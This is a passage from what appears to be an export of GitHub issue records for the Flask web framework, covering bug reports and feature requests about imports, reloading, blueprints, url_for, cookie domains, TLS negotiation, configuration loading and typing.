  File ""/tmp/flask230/2.py"", line 1, in <module>
    from flask import Markup
ImportError: cannot import name 'Markup' from 'flask' (/tmp/flask230/venv/lib/python3.10/site-packages/flask/__init__.py)
```

Environment:

- Python version: 3.10.10
- Flask version: 2.3.0",,2023-04-25T19:11:36Z,2023-04-25T20:06:30Z,2
pallets/flask,1678264256,Auto-reload triggered on file read,"Summary:
Auto-reload on the development server is triggered by requests (i.e. file reads) without a file modification happening.


How to reproduce:
Any Flask project, having installed Watchdog version >= 2.3.0. Send a request to any endpoint.

Expected behavior:
When sending a request to the server, the server answers and doesn't get reloaded unless a file is modified.

My assumption is that the new event FileOpenedEvent added in 2.3.0 is being treated as a file modification and triggering auto-reload. Forcing watchdog version 2.2.1 fixed the problem.

Environment:

- Python version: 3.8
- Flask version: 2.2.2
",,2023-04-21T10:09:44Z,2023-04-21T11:35:45Z,1
pallets/flask,1671470213,pip install flask-sqlalchemy  Fails,"<!--
On newest version of python (3.11). Using Pycharm. Venv environment.
Trying to attach Sqlalchemy.

pip install flask-wtf      Works fine
pip install flask-sqlalchemy     Fails. 

Fails to build greenlet.  Wheel does not run successfully.

Using the same steps in python (3.8), all works fine.

Is it not compatible with version 3.11

Any help is appreciated.

Thanks,
Digdug

-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-04-17T15:36:45Z,2023-04-17T15:49:10Z,3
pallets/flask,1670652186,Unit testing a delete endpoint causes ValueError: Invalid location argument: args,"I am trying to create a unit test for a DELETE endpoint. Here is simplified code:
```
app = Flask(__name__)
app.config.update({
    ""TESTING"": True,
})
api = Api(app)
api.add_resource(ObjectiveInterface, ""/objectives"")

client = app.test_client()
response = client.delete('/objectives?id=12') # also tried client.delete('/objectives', data={'id': '12'})
```

Which fails with the following error. I followed the guide [here](https://flask.palletsprojects.com/en/2.2.x/testing/) to write my test, and I believe the code is correct. Is this a bug with Flask or am I doing something wrong?
```
Error
Traceback (most recent call last):
  File ""test_objective_interface.py"", line 92, in test_delete
    response = self.client.delete('/objectives?id=12')
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1156, in delete
    return self.open(*args, **kw)
           ^^^^^^^^^^^^^^^^^^^^^^
  File ""flask\testing.py"", line 223, in open
    response = super().open(
               ^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1095, in open
    response = self.run_wsgi_app(request.environ, buffered=buffered)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 962, in run_wsgi_app
    rv = run_wsgi_app(self.application, environ, buffered=buffered)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1243, in run_wsgi_app
    app_rv = app(... [TRUNCATED]",,2023-04-17T08:12:58Z,2023-04-17T12:56:47Z,1
pallets/flask,1667993510,"CONTRIBUTING: Change from venv name ""env"" to "".venv"" for Windows as well?","https://github.com/pallets/flask/blob/182ce3dd15dfa3537391c3efaf9c3ff407d134d4/CONTRIBUTING.rst?plain=1#L123-L124

I think in line 124 `env` should also be renamed to `.venv`",docs,2023-04-14T10:31:46Z,2023-04-15T14:39:46Z,1
pallets/flask,1667967848,Allow to not trim prefixes on Config.from_prefixed_env,"`Config.from_prefixed_env` is quite helpful to automatically import configuration from the environment variables. However, I ran into the issue that I want to use it together with the `Config.get_namespace` feature, which itself requires a certain prefix, to configure extensions to Flask (PonyORM in my case) using environment variables.

I thought about using the prefix `PONY_` for the namespace, however with the current implementation, the environment variables must be called something like `FLASK_PONY_*` or `PONY_PONY_*` so they can be imported using `from_prefixed_env` to retain a prefix to then be correctly returned by `get_namespace`.

I know that this is theoretically possible without changing Flask by implementing the required variant for from_prefixed_env in my own app, however, I think this feature might be helpful to other Flask users, especially together with `get_namespace`.",,2023-04-14T10:15:37Z,2023-04-14T16:23:21Z,1
pallets/flask,1665316565,make blinker a required dependency,"It's now part of the Pallets-Eco community, https://github.com/pallets-eco. Making it required will simplify Flask's support, it's a bit of a hack right now that typing doesn't like.",,2023-04-12T21:55:49Z,2023-04-13T14:51:13Z,0
pallets/flask,1665159787,Docs: chat assistant,"Proposal:
Use OpenAI (or other LLM) API to allow users to query the docs interactively with a chatbot assistant. For building it would involve chopping up the documentation into each section and storing them in a vector database like chroma, weviate, pinecone, supabase etc and using langchain as the back end to pre-prompt the LLM. The LLM would then query the vector database for the relevant section and return a nuanced answer to the user's question. It would look very similar to what supabase is working on with clippy for their docs: https://supabase.com/blog/chatgpt-supabase-docs . 

What it changes:
This would be a change to the doc site and not to Flask itself. It would also require an openAI api key (or another LLM or access to a self hosted LLM). I'm currently building out a version myself as part of a learning project but it will have a cap on the number of queries that can be asked since my spend limit on OpenAI is $30/month.
",,2023-04-12T19:54:36Z,2023-04-12T19:58:29Z,1
pallets/flask,1664936484,App.json_provider_class has no effect is defined after app creation,"Hi

### What happens

When setting `json_provider_class` after app creation, it has no effect, because you only set a variable, and it doesn't update `app.json` which is used after

```python
app = Flask(__name__)
app.json_provider_class = CustomProvider
```

It does work if you do the following :

```python
Flask.json_provider_class = CustomProvider
app = Flask(__name__)
```

And of you course if you do the following, but I find it a bit verbose

```python
app = Flask(__name__)
app.json = CustomProvider(app)
```
### Expectation

I expect either 

- `app.json_provider_class = CustomProvider` to work
- `Flask.json_provider_class = CustomProvider` to be explicitly documented 

### How to solve

I let you decide what you prefer. 

I can provide a PR for the first one, I'll just change  variable `json_provider_class: t.Type[JSONProvider] = DefaultJSONProvider` to a getter+setter that updates `self.json` as it is done in the `__init__` `self.json: JSONProvider = self.json_provider_class(self)`. 

Environment:

- Python version: 3.10
- Flask version: 2.2.3
",,2023-04-12T17:12:02Z,2023-04-12T17:15:19Z,3
pallets/flask,1664653826,refactor session cookie domain handling,"If `SESSION_COOKIE_DOMAIN` is not set, it currently falls back to `SERVER_NAME`. However, setting a domain is actually _less_ secure than not setting one. When not set, the browser will restrict the cookie to the exact domain. When set, it will allow exact as well as any subdomain.

If `SERVER_NAME` is not set, that's fine, but it's likely to be set for other reasons.

We should not fall back to `SERVER_NAME`. Either the session is specific to the domain that set it, or it's explicitly configured to be shared.

We currently add a leading dot `.` to the domain if the app is at the root path. This was an old way to signal subdomain support, but is not how things work anymore. Modern browsers ignore a leading dot, and only use exact matching if the domain is not set.

Additionally, if the domain does not contain a dot `.` (`localhost`) we currently don't set it and show a warning. We also show a warning for IP addresses. This  was apparently a limitation of browsers in 2017, but no longer appears to be an issue.

#1784 discussed the `SERVER_NAME` fallback before, and #2282 was where I refactored this in 2017.",,2023-04-12T14:12:07Z,2023-04-12T20:10:36Z,0
pallets/flask,1662712596,Tox -min env doesn't actually test min dependencies,"Looks like `tests.pallet-min.in` does not do what it is meant to.

I may be confused, but AFAIU, it is meant to test on minimal supported dependencies versions.

Here's the content of `tests.pallet-min.in`:

> Werkzeug==2.0.0
Jinja2==3.0.0
MarkupSafe==2.0.0
itsdangerous==2.0.0
click==8.0.0

And [here](https://github.com/pallets/flask/actions/runs/4597176076/jobs/8119549181)'s a job log:

> py311-min: freeze> python -m pip freeze --all
py311-min: asgiref==3.6.0,attrs==22.2.0,blinker==1.5,click==8.0.0,exceptiongroup==1.1.0,Flask @ file:///home/runner/work/flask/flask/.tox/.tmp/package/1/Flask-2.3.0.dev0-py3-none-any.whl,iniconfig==2.0.0,itsdangerous==2.0.0,Jinja2==3.0.0,MarkupSafe==2.1.2,packaging==23.0,pip==23.0.1,pluggy==1.0.0,pytest==7.2.2,python-dotenv==1.0.0,setuptools==67.4.0,tomli==2.0.1,Werkzeug==2.2.3,wheel==0.38.4
py311-min: commands[0]> pytest -v --tb=short --basetemp=/home/runner/work/flask/flask/.tox/tmp/py311-min tests

The freeze indicates the versions in use are not the versions from the `tests.pallet-min.in`.

I believe this could be fixed with [constrain_package_deps](https://tox.wiki/en/latest/config.html#constrain_package_deps) and perhaps [use_frozen_constraints](https://tox.wiki/en/latest/config.html#use_frozen_constraints). I used a configuration similar to the one here in Flask in a project of mine, and I solved it using those flags, but I'm not sure how to do it in Flask's `tox.ini` (it may require to de-factorize the min case out of... [TRUNCATED]",testing,2023-04-11T15:09:53Z,2023-04-15T19:27:33Z,6
pallets/flask,1659682624,Grammar error in README,"README says ""Flask offers suggestions, but doesn't enforce any dependencies or
project layout.""

Correction to ""Flask offers suggestions but doesn't enforce any dependencies or
project layouts.""",,2023-04-09T00:04:20Z,2023-04-09T13:10:06Z,1
pallets/flask,1659203117,docs: Mention the passthrough_errors option in the External Debuggers section,"In #4729, the limitation that `PROPAGATE_EXCEPTIONS` doesn't actually propagate exceptions to external debuggers is discussed. Since fixing the issue for the general case seems like a lot of work, I propose to simply add some documentation to empower users to set the `passthrough_errors` flag on a case-by-case basis as they deem necessary.

I've added a couple short paragraphs and an example of configuring an external debugger at https://github.com/MajorDallas/flask/commit/9d25933e523a068c6b45c9add92c22ac27fb4699.",docs,2023-04-07T21:04:02Z,2023-04-15T18:57:51Z,0
pallets/flask,1655929794,"custom error message in `flask.abort(404, description=""msg"")` not emitted in response","https://flask.palletsprojects.com/en/2.2.x/errorhandling/?highlight=abort

> [abort()](https://flask.palletsprojects.com/en/2.2.x/api/#flask.abort) is called with a description parameter. The error handler will use that as the JSON error message, and set the status code to 404.

The docs show as an example: `abort(404, description=""Resource not found"")`

When I do 
```python
flask.abort(404, description=""foo"")
```

Then the body of the generated HTTP response is in lack of the custom error message, and instead is
```
{""code"": 404, ""name"": ""Not Found""}
```

Env:
```
± pip list | grep -e 'Flask' -e 'Werkzeug'
Flask                         2.2.3
Flask-Bootstrap               3.3.7.1
Flask-Login                   0.6.2
Flask-WTF                     1.1.1
types-Flask                   1.1.6
types-Werkzeug                1.0.9
Werkzeug                      2.2.2
```

My environment is rather huge and I did not work on a minimal repro yet.",,2023-04-05T16:15:17Z,2023-04-05T16:18:10Z,2
pallets/flask,1641569760,"""Blueprint"" has no attribute ""register_blueprint"" mypy typing error","When we try to register one blueprint to another blueprint in flask getting an error from mypy: 
```sh
""Blueprint"" has no attribute ""register_blueprint"" mypy typing error
```
This shouldn't ideally happen as described in the docs: https://flask.palletsprojects.com/en/2.2.x/blueprints/#nesting-blueprints

Environment: 
- OS: Ubuntu 22.10
- Python version: 3.10.10
- Flask version: Flask==2.2.2 Flask-RESTful==0.3.9
",,2023-03-27T07:45:02Z,2023-03-31T13:22:32Z,1
pallets/flask,1639308615,request json have not parsed correct?,"```
@user.post('/get_auth')
def get_auth():
    print(request.is_json, request.mimetype, request.data)
    username = request.json['username']
```

```
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 
True application/json b""{'username':'test'}""
127.0.0.1 - - [24/Mar/2023 20:27:55] ""POST /api/user/get_auth HTTP/1.1"" 400 -
```

`curl -d ""{'username':'test'}"" -H ""Content-Type: application/json"" -X POST http://127.0.0.1:5000/api/user/get_auth`

Environment:
- Python 3.10.4
- Flask 2.2.3

why request json have not parsed correct?",,2023-03-24T12:34:05Z,2023-03-24T12:35:20Z,1
pallets/flask,1637931953,URL Hack?,"![image](https://user-images.githubusercontent.com/50749933/227280757-1392b272-f997-4ef4-ba18-ccf528a01751.png)
![image](https://user-images.githubusercontent.com/50749933/227280821-4355646d-3564-4805-92c3-cecbf903e12e.png)

Im not too sure what the person was trying to do with this, but they were able to clear my MongoDB. I don't even use phpadmin so I'm not sure either what they were doing there, but yeah.

If this is just a issue with me and how i setup my site, would be nice if someone could tell me what i did wrong, since I've used flask for ages and I've never had this happen.

**new issue in comments**",,2023-03-23T17:07:41Z,2023-03-27T18:14:26Z,2
pallets/flask,1629129829,Missing parentheses in docs example,"In the WSGI section, where `eventlet` is being described, there is a code snippet for quickly setting it up (docs/deploying/eventlet). The code snippet is missing a parentheses. :)

Environment:

- Python version: 3.10.8
- Flask version: 2.3.0
",,2023-03-17T11:11:42Z,2023-04-12T20:29:14Z,0
pallets/flask,1619160802,send_file wont accept filenames with comma,"If the user requests a file from server such as ""CORAÇÕES,.html"" the browser will return this error:
ERR_RESPONSE_HEADERS_MULTIPLE_CONTENT_DISPOSITION

This is caused by comma inside the filename.

if replace the name for ""C,.html"", it works.


To replicate this error, you can run this function:

```
send_from_directory(
        ""CORAÇÕES,.html"",
         as_attachment=True,
        
    )
```

Environment:

- Python version:3.10.9
- Flask version:2.2.3


Solution:
The comma can be replaced by a comma on the http header. It wont work with a commen comma, such as '""Corações,.html""', but it will work with urrllib.parse, such as:

```
from urllib.parse import quote
send_from_directory(
        ""CORAÇÕES,.html"",
         as_attachment=True,
         download_name=quote(""CORAÇÕES,.html""),  
    )
```

Maybe we can add urrlibe.parse.quote as default for download_name? 


",,2023-03-10T15:26:30Z,2023-03-10T15:33:28Z,1
pallets/flask,1617909280,Update Flask to work with Werkzeug 2.2.3 due to open CVE,"Hello Flask Team: 

I am aware that bug reports regarding sub-dependencies may not be welcome here, but I feel that this is too important (in my case it's most likely a complete show-stopper).


We have invested a significant amount of time building Rest APIs and webapps with Flask, and our CICD pipeline incorporates a well-known vulnerability scanner. Our build pipeline fails due to an open CVE in Werkzeug: https://nvd.nist.gov/vuln/detail/CVE-2023-23934 

There are only two known versions of Werkzeug that do not have an associated CVE:  2.2.0 and the latest 2.2.3. However due to the issue [ImportError: cannot import name 'parse_rule' from 'werkzeug.routing'](https://stackoverflow.com/questions/73105877/importerror-cannot-import-name-parse-rule-from-werkzeug-routing)  we cannot update Werkzeueg to 2.2.3.

The recommended solution is to downgrade to Werkzeug to 2.1.2 (I believe) and that does work. However that version and all previous versions have CVEs.

Is it possible to make Flask work with the newest Werkzeug 2.2.3? As of now we cannot push any new changes into production and are basically stuck until Flask works with the newest version of Werkzeug. I could be mistaken but I think this may be the case.

And as always, thank you for the support.

Environment:

- Python version: 3.8
- Flask version: 2.2.3 (newest Flask at the time of writing this issue)
",,2023-03-09T19:56:13Z,2023-03-09T19:59:55Z,6
pallets/flask,1609840831,On Debug Mode my function is called twice,"```py

import shutil
import os
from flask import Flask, render_template, request
from datetime import datetime
from os.path import isfile, join
from sqlite3 import connect

class Server(Flask):
  def __init__(self, *args, **kwargs):
    super().__init__(*args, **kwargs)
    
    self.db_path = join(""back-end"", ""database"" ,""news.db"")
    
    #Routes
    @self.route(""/"")
    @self.route(""/home"")
    def home():
      return render_template(""home.html"")
    
    @self.route(""/about"")
    def about():
      return render_template(""about.html"")
    
    @self.route(""/table"")
    def table():
      return render_template(""table.html"")
    
    @self.route(""/sabah"")
    def sabah():
      return render_template(""sabah.html"")

    @self.route(""/news"")
    def news():
      pass
    
    @self.route(""/science"")
    def science():
      pass
    #Functionality
    
    @self.template_global(""getsemester"")
    def gettime()->str:
      """"""This function gets current time and determines
      the semester to show.""""""
      now = datetime.now()

      if isfile(""static/cedvel/cedvel.pdf""):
        
        if datetime(now.year, 9, 15) <= now < datetime(now.year+1, 2, 16):  
          return f""{now.year} PAYIZ SEMESTERİ üçün nəzərdə tutulub!""
        
        elif datetime(now.year, 2, 15) <= now < datetime(now.year, 6, 15):
          return f""{now.year} YAZ SEMESTERİ üçün nəzərdə tutulub!""
        
        else:
          return  ""H... [TRUNCATED]",,2023-03-04T16:03:37Z,2023-03-04T16:05:01Z,3
pallets/flask,1609839683,On DEBUG mode my functions is called twice instead of once,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-03-04T15:59:52Z,2023-03-04T16:01:44Z,1
pallets/flask,1609446992,Require a non-empty name for Blueprints,"Things do not work correctly if a Blueprint is given an empty name (e.g. #4944).
It would be helpful if a `ValueError` was raised when trying to do that.",blueprints,2023-03-04T00:09:15Z,2023-03-11T16:34:57Z,1
pallets/flask,1605634847,Allow specifying reloader_type=stat via flask CLI,"Current behavior of enabling reloader in flask CLI (e.g. `flask --debug run`) does not allow specifying `reloader_type` parameter to `werkzeug.run_simple`: https://github.com/pallets/flask/blob/2.2.3/src/flask/cli.py#L923

The default value of `reloader_type='auto'` tries to import watchdog, and then fails back to stat if module is not found. This is problematic for environments where watchdog is installed, but stat is the preferred reloader type.
",,2023-03-01T20:42:29Z,2023-03-01T21:33:54Z,1
pallets/flask,1600133801,Flask routes to return domain/sub-domains information,"Currently when checking **flask routes** it provides all routes but **it is no way to see which routes are assigned to which subdomain**.

**Default server name:**
SERVER_NAME: 'test.local'

**Domains (sub-domains):**
test.test.local
admin.test.local
test.local

**Adding blueprints:**
app.register_blueprint(admin_blueprint,url_prefix='',subdomain='admin')
app.register_blueprint(test_subdomain_blueprint,url_prefix='',subdomain='test')


```
$ flask routes
 * Tip: There are .env or .flaskenv files present. Do ""pip install python-dotenv"" to use them.
Endpoint                                                 Methods    Rule
-------------------------------------------------------  ---------  ------------------------------------------------
admin_blueprint.home                                      GET        /home
test_subdomain_blueprint.home                             GET        /home
static                                                    GET        /static/<path:filename>
...
```


**Feature request**
It will be good to see something like below (that will make more clear which route for which subdomain, because now need to go and check configuration).
**If it is not possible to fix routes**, can you add or tell which method(s) should be used to get below information from flask? 

```
$ flask routes
 * Tip: There are .env or .flaskenv files present. Do ""pip install python-dotenv"" to use them.
Domain                Endpoint                     ... [TRUNCATED]",cli,2023-02-26T17:25:08Z,2023-04-14T16:45:22Z,0
pallets/flask,1599307350,redirect is annotated to return a werkzeug type,"My app doesn't need `werkzeug` directly except for type annotations of views that contain a `redirect` call, even when I explicitly provide `Response=flask.Response`.
https://github.com/pallets/flask/blob/5cdfeae2e82541577e17f5179d91775550e34ebd/src/flask/helpers.py#L233-L235
I think this can be achieved in a similar way to `classmethod`s:
``` python
_BaseResponse = t.TypeVar(""_BaseResponse"", bound=""BaseResponse"")

def redirect( 
    location: str, code: int = 302, Response: t.Optional[t.Type[_BaseResponse]] = None 
) -> _BaseResponse:
```",,2023-02-24T21:35:32Z,2023-02-24T21:53:37Z,1
pallets/flask,1596557888,route decorator compatibility with MethodView,"I am trying to get the ```route``` decorator to work with the ```MethodView```.

```python
from flask import Blueprint
from flask.views import MethodView

api = Blueprint(""api"", __name__)

@api.route(""/users"")
class UserAPI(MethodView):

    def get(self):
        pass

    def post(self):
        pass
```

I am not sure if this is currently supported but it would be a good plus.",,2023-02-23T10:04:59Z,2023-02-23T13:47:24Z,2
pallets/flask,1596132686,remove `locked_cached_property`,"`locked_cached_property` is a modification of `cached_property` that acquires a lock before interacting with its data. Due to the way descriptors work, even though the property is ""cached"", each access still invokes the descriptor's `__get__` method and acquires the lock. Therefore, when using thread-like workers that share the lock, requests can block each other. These blocks should be very brief, as they're only immediately returning the cached property, but it's still inefficient.

It is currently applied to `app.jinja_env`, `app.logger`, `app.name`, `app.jinja_loader`, and `blueprint.jinja_loader`. I'm not entirely sure we need locks on them at all, but just in case we could use locks within the methods.",,2023-02-23T02:56:58Z,2023-02-23T18:59:30Z,0
pallets/flask,1593384901,Issues with flask Blueprint,"### Description of problem

I had catched up a issue with the flask Blueprint. When trying to register a blueprint, using the code (used the documentation as reference):

```
## Flask imports

from flask import Flask, Blueprint
from blueprints import about_blueprint

## Declaration  of Flask application

app = Flask(__name__)

## Registration of blueprint

@app.register_blueprint(about_blueprint)
```

The blueprints/about_blueprint.py has the content:

```
## Import Blueprint from Flask

from flask import Blueprint

## Declare blueprint

about_blueprint = Blueprint(__name__)

## Blueprint declared actions

@about_blueprint.route('/about?go=<go>')
def about(go):
	if go is None:
		return '<h4>About page</h4>'
	else:
		return f'<h4>About: {go}</h4>'
```


While attempting to run it, I recieve a following error:

```
Traceback (most recent call last):
  File ""main.py"", line 25, in <module>
    @app.register_blueprint(about_blueprint)
  File ""/home/runner/Site/venv/lib/python3.10/site-packages/flask/scaffold.py"", line 50, in wrapper_func
    return f(self, *args, **kwargs)
  File ""/home/runner/Site/venv/lib/python3.10/site-packages/flask/app.py"", line 1296, in register_blueprint
    blueprint.register(self, options)
TypeError: register() takes 1 positional argument but 2 were given
```

### Environment:

- Python version: 3.10
- Flask version: latest
",,2023-02-21T12:20:49Z,2023-02-21T14:11:25Z,4
pallets/flask,1593157664,app.test_client is not thread-safe,"Currently, using app.test_client() together with multi-threaded environment will fail:

```
from concurrent.futures import ThreadPoolExecutor

from flask import Flask, jsonify

app = Flask(__name__)


@app.route(""/info"")
def info():
    return jsonify({""status"": ""success""})


app.testing = True
with app.test_client() as client:

    def check(*args):
        return client.get(""/info"")

    with ThreadPoolExecutor(5) as tpe:
        print(tpe.map(check, range(5)))
```


with


```
Traceback (most recent call last):
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/flask/ctx.py"", line 399, in pop
    self.app.do_teardown_request(exc)
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/flask/app.py"", line 2370, in do_teardown_request
    for name in chain(request.blueprints, (None,)):
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/werkzeug/local.py"", line 316, in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/werkzeug/local.py"", line 513, in _get_current_object
    raise RuntimeError(unbound_message) from None
RuntimeError: Working outside of request context.
```

Obviously, this can be solved by running the app as standalone (see http://www.prschmid.com/2013/01/multi-threaded-unit-test-for-flask-rest.html), but then I have to add manual error control and re-rise an... [TRUNCATED]",,2023-02-21T09:47:37Z,2023-02-21T14:19:36Z,2
pallets/flask,1590376516,Add a file mode parameter to flask.Config.from_file(),"Python 3.11 introduced native TOML support with the `tomllib` package. This could work nicely with the `flask.Config.from_file()` method as an easy way to load TOML config files:

```python
app.config.from_file(""config.toml"", tomllib.load)
```

However, `tomllib.load()` takes an object readable in binary mode, while `flask.Config.from_file()` opens a file in text mode, resulting in this error:

```
TypeError: File must be opened in binary mode, e.g. use `open('foo.toml', 'rb')`
```

We can get around this with a more verbose expression, like loading from a file opened with the built-in `open()` function and passing the `dict` to `app.Config.from_mapping()`:

```python
# We have to repeat the path joining that from_file() does
with open(os.path.join(app.config.root_path, ""config.toml""), ""rb"") as file:
    app.config.from_mapping(tomllib.load(file))
```

But adding a file mode parameter to `flask.Config.from_file()` would enable the use of a simpler expression. E.g.:

```python
app.config.from_file(""config.toml"", tomllib.load, mode=""b"")
```
",,2023-02-18T15:23:14Z,2023-02-23T19:13:19Z,5
pallets/flask,1590069212,Single quotes added to ENV VARS on reload,"Our application uses an environment variable to store the path to our certificates which is used by the ""hvac"" and ""requests"" libraries to send verify requests. 

On an initial load of our Flask application, we are successfully able to make a request, and the certificate location that is passed to these libraries (sourced from the environment variable on our system) is 
`/path/to/ssl/cert.crt`

However, when we run our Flask app with `debug=True`, it causes this environment variable to be loaded with additional single quotes around it (e.g. `'/path/to/ssl/cert.crt'`). The addition of these quotes causes the path to become invalid and requests cannot be made. ",,2023-02-17T23:19:00Z,2023-02-17T23:42:36Z,1
pallets/flask,1588393421,Tutorial Documentation Issue with --debug,"# Recap

[Run Application](https://flask.palletsprojects.com/en/2.2.x/tutorial/factory/#run-the-application) section says you should run:  `flask --app flaskr run --debug`

This provides this error:
```
(Discord) C:\Users\gradu\code\flask-tutorial>flask --app flaskr run --debug 
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.

Error: No such option: --debug (Possible options: --debugger, --no-debugger)
```

# Replication

Follow the tutorial.

# Resolution

The following should be run for it to work since `--debug` should be before `run`: 
`flask --app flaskr --debug run`

Environment:

- Python version:  3.10
- Flask version:  2.2.2
",,2023-02-16T21:35:52Z,2023-02-16T23:04:18Z,2
pallets/flask,1588139584,TLS version (and/or cipher suite) negotiation appears to be broken with TLS 1.3 (discovered via Chromium GREASE).,"If Flask is configured to use TLS1.3+ (see code example below), the implementation appears to perform the TLS version negotiation (and/or the cipher suite negotiation) incorrectly.

Since TLS1.3 the version negotiation has been moved to the `supported_versions` extension in ClientHello/ServerHello.

In particular, the client sends a **discrete** list of supported versions in the ClientHello, and the server selects one that it supports, echoing it back to the client in the ServerHello.

In order to detect implementation bugs, Chromium sends random reserved (see [RFC 8701](https://www.rfc-editor.org/rfc/rfc8701.html)) version codes together with the legitimate version codes in the ClientHello. This is part of the ""GREASE"" mechanism to detect future ""intolerances"" in advance.

The correct approach when receiving ""GREASE"" codes / extensions is to simply ignore them as unrecognised codes / extensions.

It looks like that, when at least one of the ""GREASE"" version codes is greater than the TLS 1.3 code (0x0304), Flask aborts the TLS handshake with an alert saying that no common TLS versions / TLS cipher suites have been found.

Actually, it is possible that the error is caused by the same kind of ""intolerance"" in the cipher suite negotiation.
However, since ""GREASE"" is controlled by the browser, there is no easy way to check which of the two scenarios (version negotiation, and cipher suite negotiation) is causing the issue (or if both are).

Conversely, Mozilla Firef... [TRUNCATED]",,2023-02-16T18:04:31Z,2023-02-16T18:07:24Z,2
pallets/flask,1587983339,testing breaks when using .env,"If you use .env for things like your SECRET_KEY, this will break in testing the way the original code is now.

```python
import os
from dotenv import dotenv_values
from flask import Flask, redirect, url_for


config = dotenv_values("".env"")

def create_app(test_config=None):
    # create and configure the app
    app = Flask(__name__, instance_relative_config=True)
    app.config.from_mapping(
        SECRET_KEY=config[""SECRET_KEY""],
        DATABASE=os.path.join(app.instance_path, config[""DB_NAME""]),
    )

    if test_config is None:
        # load the instance config, if it exists, when not testing
        app.config.from_pyfile('config.py', silent=True)
    else:
        # load the test config if passed in
        app.config.from_mapping(test_config)
```

```
_______________________ test_config _______________________ 

    def test_config():
>       assert not create_app().testing

1-interview\tests\test_factory.py:5:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

test_config = None

    def create_app(test_config=None):
        # create and configure the app
        app = Flask(__name__, instance_relative_config=True)
        app.config.from_mapping(
>           SECRET_KEY=config[""SECRET_KEY""],
            DATABASE=os.path.join(app.instance_path, config[""DB_NAME""]),
        )
E       KeyError: 'SECRET_KEY'

1-interview\api\__init__.py:14: KeyError
```

<details>
<summary>Pytest output</summary>

```
====... [TRUNCATED]",,2023-02-16T16:17:05Z,2023-02-16T16:32:58Z,7
pallets/flask,1586927355,logout on Flaskr does not go back to login screen,"by creating the [Flaskr app ](https://flask.palletsprojects.com/en/2.2.x/tutorial), if you select LOGOUT it does not take you back to the login screen, just the blog template. This is because the root always points there, it seems.

Before:
![image](https://user-images.githubusercontent.com/20706498/219167827-fba56ba0-6650-44f0-947b-2ce19e0efa18.png)

After:
![image](https://user-images.githubusercontent.com/20706498/219167985-27ca2861-c1eb-4066-b2cc-e55e8599369e.png)

This should not be expected, but [the tutorial](https://flask.palletsprojects.com/en/2.2.x/tutorial/blog/#the-blueprint) seems unclear in the ""alternative"". (Which to me seems more like the solution.)

![image](https://user-images.githubusercontent.com/20706498/219169141-93956e49-eff4-47c7-85ca-49f1d20b13ae.png)

Environment:

- Python version: 3.11
- Flask version: 2.2.x
",,2023-02-16T03:08:58Z,2023-02-16T05:13:43Z,1
pallets/flask,1586168759,url_for() add support for explicit query params,"I have a flask route that takes the query params of the request, and uses them to build a new URL.

A simplified example looks like this:

```python

@app.route(""/my-route"")
def my_route():
    request_query = request.args.to_dict()
    request_query['foo'] = 'bar'    

    url = url_for(""my_route"", **request_query)
    return app.redirect(url)
```

So for example if you request `/my-route?value=1` you will be redirected to `/my-route?value=1&foo=bar`

Mypy started raising a type error after upgrading to Flask 2.2.

```
error: Argument 3 to ""url_for"" has incompatible type ""**Dict[str, str]""; expected ""Optional[bool]""  [arg-type]
```

I understand the source of the error: The ``**request_query`` dict could technically contain reserved keys like `""_external""` in it, which would lead to an invalid function signature. But this points to a larger bug that I had not considered, which is that unless I sanitize all of the reserved keywords (`_external`, `_method`, etc.) from my query parameters, this could lead to unexpected URLs and a possible vulnerability (e.g. somebody sending `/my-route?_scheme=http` and downgrading the redirect to http).

Even if I sanitize those reserved keywords:

- Future versions of flask could add new reserved keywords, making my code invisibly vulnerable again.
- I don't know how I would reconcile the type error without switching away from ``**request_query`` to explicit keywords, which would be very difficult in my case.

Wh... [TRUNCATED]",,2023-02-15T16:29:18Z,2023-02-15T17:18:44Z,3
pallets/flask,1584817376,before_first_request and url_for,"I used to use `before_first_request` to set up a sort of navigation config.
```py
@app.before_first_request
def _setup_navigation(app):
    app.config['navigation'] = [
        {'name': 'Home', 'url': url_for('mysite.home', _external=False)},
        {'name': 'About', 'url': url_for('mysite.about', _external=False)},
        ...
    ]
```
and then I have a `navbar.jinja2` that iterates through this creating links based on the list found in `app.config.navigation` like
```html
<div class=""navbar"" id=""main-nav"">
    <ul class=""nav navbar-nav"">
    {% for nav in config.navigation %}
        <li><a href=""{{ nav.url }}"">{{ nav.name }}</a></li>
    {% endfor %}
    </ul>
</div>
```

But then `before_first_request` was deprecated. So I am trying to update to use the app factory pattern. But I cannot use `url_for` outside a request context unless I specify a `SERVER_NAME`. But then it's more difficult to do local debugging since I can't just go to `localhost:8000` anymore because that doesn't match the `SERVER_NAME`.

To get around this, I have just added a `before_request` decorator and wrapped it in a test for the existence of my `app.config['navigation']` key.

Perhaps `url_for` could be relaxed to not need a `SERVER_NAME` when `_external=False`?",,2023-02-14T20:55:31Z,2023-02-14T21:05:05Z,0
pallets/flask,1583001949,mypy 1.0 no longer accepts flask.Response as redirect type,"```
from __future__ import annotations

